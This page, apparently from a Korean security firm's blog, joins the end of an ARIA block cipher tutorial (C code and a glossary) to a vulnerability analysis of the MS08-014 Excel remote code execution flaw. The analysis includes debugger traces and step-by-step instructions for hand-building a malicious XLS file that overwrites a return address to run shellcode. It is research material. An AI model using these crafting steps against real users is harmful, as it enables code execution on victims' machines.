int i, j, R;
Byte t[16];
R=EncKeySetup(w0, d, keyBits); // 암호화 라운드 키 생성
// d값에는 암호화된 라운드 키가 입력되어 있음.
for (j = 0; j < 16; j++){
t[j] = d[j];
d[j] = d[16*R + j]; // 암호화된 라운드 키를 치환하는 부분
d[16*R + j] = t[j];
// 치환을 통한 복호화 라운드 키 생성
}
for (i = 1; i <= R/2; i++){
DL (d + i*16, t);
DL (d + (R-i)*16, d + i*16);
for (j = 0; j < 16; j++) d[(R-i)*16 + j] = t[j];
}
// 확산 및 치환 단계를 처리하는 부분
return R;
}
5) 라운드 키 생성 함수 – RotXOR(const Byte *s, int n, Byte *t)
s : 라운드 키로 얻은 네, 개의 비트 값, n : 쉬프트 비트 수, 암호화 키 배열 eKi값
void RotXOR (const Byte *s, int n, Byte *t)
{
int i, q;
q = n/8; n %= 8;
for (i = 0; i < 16; i++) {
t[(q+i) % 16] ^= (s[i] >> n);
if (n != 0) t[(q+i+1) % 16] ^= (s[i] << (8-n));
}
// 두 가지 경우의 수로 나누어서 비트 쉬프트 연산과 XOR 연산 수행
}
6) 치환 및 암호화 함수 – Crypt(const Byte *p, int R, const Byte *e, Byte *c)
P : 평문 바이너리, R : 라운드 수, e :
void Crypt(const Byte *p, int R, const Byte *e, Byte *c)
{
int i, j;
Byte t[16];
for (j = 0; j < 16; j++) c[j] = p[j];
for (i = 0; i < R/2; i++) // 라운드의 절반만 루프를 돌린다 하지만 내부에 두 번씩(S라는 함수와 역함수S-1 교대로) 돌게 되어있음.
{
for (j = 0; j < 16; j++) t[j] = S[ j % 4][e[j] ^ c[j]];
DL(t, c); e += 16;
for (j = 0; j < 16; j++) t[j] = S[(2 + j) % 4][e[j] ^ c[j]];
// S-box 교대로 적용하기 위해 +2가 적용됨. 나머지는 같음.
DL(t, c); e += 16;
}
DL(c, t);
for (j = 0; j < 16; j++) c[j] = e[j] ^ t[j]; // 최종 라운드에서 한번 더 ekn+1 키 교환
}
IV. 마무리
1. 끝맺으며
ARIA 알고리즘을 분석해보겠다고 덥썩 덤벼들긴 했지만, 수학적인 능력과 암호학에 대한 이해, 분석을 위해 주어진 시간(이 부분은 능력에 비례하는 것일지도 모르겠다.)이 부족하여 결국에는 알고리즘에 대한 소개와 명세어의 요약정도에 그친 것 같아 아쉬웠습니다. 블로그들을 검색해보니 이보다 더 훌륭한 글들이 많아서 오픈해야 하나 참 많이 망설였습니다.
실제 우리 주변에서 SEED와 함께 쓰일 암호 알고리즘으로써 정부기관을 축으로 사용될 것으로 예측되고, 여러 학회에서 발표된 자료에 안전성이 어느정도는 입증(SEED보다 안전?)된 것도 같습니다. 실제로 이 부분에 대한 증명에 관한 자료도 존재하였습니다. 향후에, 이 부분에 대한 증명을 스스로 해보고 싶은 욕구도 생기더군요.
부족한 글이지만, 여기까지 읽어주셨다면 감사하다고 말씀드리고 싶네요. 읽으시느라 수고하셨습니다.
2. 참고문헌
1) 안전성과 효율성을 갖춘 128-비트 블록 암호 알고리즘 설계 및 분석 /임웅택 – 국회전자도서관 / 서울 : 숭실대 대학원, 200502
※참고한 내용 : ARIA 에 대한 소개 글에 포함된 그림 사용.
2) ARIA 명세서 및 소스코드 공개 : 국가정보원 IT 보안인증사무국 페이지 :
http://www.kecs.go.kr/pw_certified/aria_open.jsp
3. 용어설명
1) ARIA : Academy, Research Institute, Agency 의 약어. 학연관이 공동으로 개발함을 함축.
2) Involution 구조 : 암호화 과정과 복호화 과정이 같은 구조
3) S-box : 비선형 치환 테이블로 바이트 치환에 사용됨.
4) SPN 구조 : Substitute-Permutation-Network 구조로 S-box와 확산 함수가 반복적으로 사용되는 구조
5) Feistel 구조 : 데이터를 두 블록으로 나누어 좌우 부분에 교대로 비선형 변환을 적용시키는 구조.
6) 대칭키 암호 : 암복호화 키가 같은 암호
7) 라운드 키 : 암호키로부터 키 확장을 통하여 생성되는 값들로 암호화 및 복호화 상태에 적용됨.
8) 라운드 함수 : 블록 암호의 각 라운드에서 사용되는 함수
9) 복호화 : 암호키를 이용하여 암호문을 평문으로 바꾸는 일련의 변환들
10) 블록 : 입력, 상태, 출력, 라운드 키를 구성하는 비트 열로 열의 길이는 포함하는 비트 수를 표시, 블록은 바이트의 배열로도 해석 가능.
11) 블록 암호 : 고정된 길이의 평문 블록을 고정된 길이의 암호문 블록으로 변환하는 함수
12 ) 상태 (state) : 암호화, 복호화 과정의 중간 값
13) 아핀 변환(Affine Transformation) : 행렬의 곱과 벡터의 합이 순차적으로 구성된 변환
14) 키 확장 : 암호 키로부터 라운드 키들을 생성하는 과정
15) MK : 암호 키
16) XOR : 배타적 논리합 연산
17) A <<< k : A의 각 비트를 왼쪽으로 k비트씩 순환이동.
18) A >>> k : A의 각 비트를 오른쪽으로 k비트씩 순환이동.
▷ 작성자 : Hong10 (hong10@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)
문서 작성일 : 2009년 2월 5일
최종 수정일 : 2009년 2월 5일
Hong10님께서 이번에는 "Microsoft Excel Could Allow Remote Code Execution(MS08-14)" 에 대해 집중 분석을 하였습니다. 개요 및 설명 (1부), 취약점 분석 (2부)로 하여 포스팅을 하겠습니다.
2. 취약점 분석
먼저 exploit 코드를 살펴 보면 취약한 헤더를 부분을 공략하기 위하여 특별히 제작 한 Resource 가 있습니다. 그리고 나서 Resource 뒷 바이트를 실행 시키고자 하는 바이너리와 합쳐 AV에 탐지가 안되게끔 임의로 Encode 을 함을 알 수 있습니다. 여기서 공격코드는 제가 작성한 Windows Universal ShellCode를 사용을 함으로 논의에서 빼겠습니다.
핵심은 어떻게 해서 헤더를 변조 시켜 Ret Address 를 공격 코드에 향하게 하는지 에 대하여 분석을 하겠습니다. Exploit 코드를 통하여 취약한 엑셀 파일을 생성 후 위에서 분석 한 구조체를 통하여 디버깅 한 결과 특이한 점 3가지를 발견 할 수 있었습니다.
첫 번째 엑셀 루틴에서 파일을 오픈 할 시 헤더를 분석하여 각 Storage 를 Open 하여 Stack 에 할당 하는데 읽어 드리는 사이즈가 헤더에서 정의한 Storage Dir 보다 큰 경우 파일에서 그 사이즈만큼 해당 Stack 에 값을 재할당 합니다.
위 그림에서는 사이즈가 아직 Storage 보다 크지 않기 때문에 바뀌지 않고 있습니다. 하지만 Trace 을 진행하다 보면(마지막 Storage Open 시 레코드의 사이즈가 전체 사이즈 보다 많으면 Stack에 옮기는 작업을 중단 합니다.) 그러한 루틴은 다음과 같이 확인 할 수있습니다.
위 그림에서 eax는 전체 사이즈를 나타내며 ecx는 레코드의 사이즈를 나타냅니다. 그리고 두 값을 비교하는 구문이 있는데 이것은 다음 그림에서 설명 드리겠습니다.
위에서 설명한 사이즈 비교 구문을 리턴 했을 때의 루틴입니다. Cmp [local1],edi 코드 부분을 살펴 보면 위에서 설명한 비교구문이 점프를 타지 않았다면 [local1] 값에는 1이 담겨 지게 되므로 점프를 타게 됩니다. 이는 아래의 cmp esi,809(809 레코드는 엑셀 문서 포맷에서 문서의 시작을 알립니다)
이런 루틴을 타지 않겠다는 의미이며 더 이상 Stack에 값을 할 당하지 않게 됩니다. 그리고 현재 ecx값(사이즈)은 0x5169 이며 esi 값은 0x8a2d(레코드) 값입니다. 이는 파일 오프셋의 0x2260 에 있는 값이며 후에 문제가 발생 되는 부분이기도 합니다.
어째든 최종적으로 0x00136d74 스택 메모리에는 다음과 같은 값이 할당 되었습니다.
두 번째 특이한 점은Storage 는 레코드 값으로 형성 되어 있습니다.엑셀을 이러한 레코드 값과 뒤에 할당 되어 있는 값을 읽어 드려 수행을 합니다. 이때 레코드 값이 DF 값이면 MsofallocMemcore 이란 함수를 사용하여 공격코드가 존재하는 오프셋 위치에서 사이즈 만큼 메모리에 할 당을 합니다. 해당 레코드 값을 엑셀 포맷 문서에서 찾아 본 결과 엑셀에서 그래프 같은 것을 쓸 때 생성되는 레코드 값인걸 알 수 있었습니다.
위 그림에서 문제가 되는 루틴을 자세히 살펴 보겠습니다.
300C1015 . 8B45 70 mov eax, dword ptr ss:[ebp+70]
300C1018 . 8B4D 64 mov ecx, dword ptr ss:[ebp+64]
300C101B . 8941 04 mov dword ptr ds:[ecx+4], eax
Ebp+64 주소 값은 첫 번째 특이한 점에서 살펴본 주소 값입니다. 이 주소 값에 는 0x0013f8bc 라는 값이 할당이 되어있습니다. 그리고 ebp+70 에는 MsoAllocMemCore 함수에서 할당한 쉘 주소를 가리키는 주소 값을 가지고 있습니다. 거기에 0x0013f8bc+0x4 = 0x0013f8c0 이 되며 이 주소에는 쉘 주소를 가리키는 값을 담게 됩니다.
그림에 보면 eax 값은 0x0995000c 값이며 주소를 찾아 확인 해보면 쉘 주소임을 알 수 있습니다. 아래는 파일 오프셋의 0xe30 부근에 레코드가 0xd1e 이며 사이즈가 0x0d0a 인 값이 존재 함을 알 수있습니다.
이 값 다음에 e40 부근에 쉘 코드들이 시작 되었고 0xe3c+0xd0a = 1b46 즉 파일 오프셋 0x1b47 에 보면 다음과 같이 레코드가 0xdf 인 값을 발견 할 수 있습니다.
이는 DF 레코드 값을 처리 할 때 그 이전에 사이즈 만큼을 메모리에 할당 함을 알 수 있었습니다.
세 번째 엑셀 루틴에서 레코드 사이즈가 0x2020 보다 크다면 특정 루틴으로 향하게 됩니다. 이때 모든 루틴을 수행 하고 나서 다시 함수를 부른 주소로 돌아 갈 때 “add ebp,0x13d8 “ 라는 루틴이 존재합니다. Stack 값을 살펴 보면 ret address 는 쉘 코드가 존재하는 메모리 시작 주소를 가리키고 있으며 그 ret address 를 가리키는 Stack 값은 파일에 존재하는 특정 값으로 할당이 됩니다.
이는 첫 번째 특이한 점에서 Storage 을 Open 할 때 헤더에서 해석한 Storage Size 가 크다면 그 사이즈만큼(아마도 다음 Storage 분석을 위한 루틴인 듯) Stack 에 저장 하는데 이때 ret address 까지 덮어 씌울 수 있어서 두 번째 특이한 점에서 할당된 쉘 코드 주소로 변경 할 수 있어 실행 될 수 있었습니다.
위 그림에서 cmp eax,2020 과 비교를 하며 eax는 문제가 되는 레코드 사이즈 0x5169 값입니다.이렇게 점프를 타게 되고 쭉 trace를 하다 보면 다음과 루틴이 나오면 결국 쉘 주소로 리턴 됨을 알 수 있습니다.
위 그림에서 알 수 있듯이 add ebp,13d8 루틴으로 인해 리턴 어드레스 주소는 0x13f8c0 이며 이는 두 번째 특이한 점에서 할당된 쉘 주소를 가리키는 값임을 알 수 있습니다. 다음은 0x0905000c 루틴 입니다. 실행하면 쉘 이 실행 됨을 알 수 있습니다.
3. 취약한 엑셀 파일 만들기
분석 한 것을 토대로 취약한 엑셀 파일을 새로 만들어 보겠습니다. 참고로 DF 레코드 관련 된 엑셀 파일은 디폴트 페이지로 C:\Program Files\Microsoft Office\OFFICE11\1042 에 존재하는 XL8GALRY.XLS 파일이 있으며 예상대로 그래프 관련 엑셀 파일 이었습니다. 이 파일을 취약점 이 존재하는 파일을 만들기 위하여 다음과 같은 순서를 따르면 됩니다.
Storage 의 적정 레코드 위치(0x1de 레코드가 끝나는 오프셋)에 사이즈를 0xd0a 을 setting 한다.
setting 한 4바이트 뒤에 쉘 코드를 복사하여 붙여 넣는다.
0xd0a 사이즈를 setting 한 오프셋부터 0xd0a 를 더한 오프셋 위치에 다음 값을 붙여 넣습니다.
역시 setting 한 오프셋부터 0x70a 을 더한 오프셋 위치에서 다음 값을 붙여 넣으면 완성이다. 단 주의점은 ret address 위치 인데 만약 이 과정을 마친 후에 파일을 실행 했을 경우 아마 대부분 exception이 뜰 것이다.
Exception 주소를 살펴 보면 ret address 가 엉뚱한 위치를 가리켜서 그러한 것이니 해당 값을 파일에서 검색한 뒤 원하는 0xbcf81300 값으로 바꾸어 주면 쉘 을 실행할 수 잇습니다
분석이 모자라 완벽히 리턴 어드레스 오프셋 위치까진 알 순 없었지만 그래도 취약점이 존재하는 엑셀 파일을 수동으로 만들어 볼 수 있었습니다. 이를 바탕으로 최근 패치 된 엑셀 바이너리를 분석 함으로써 새로운 취약점을 찾아 볼까 합니다.
Copyright(c) 1998-2009 A3 Security ,LTD
Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.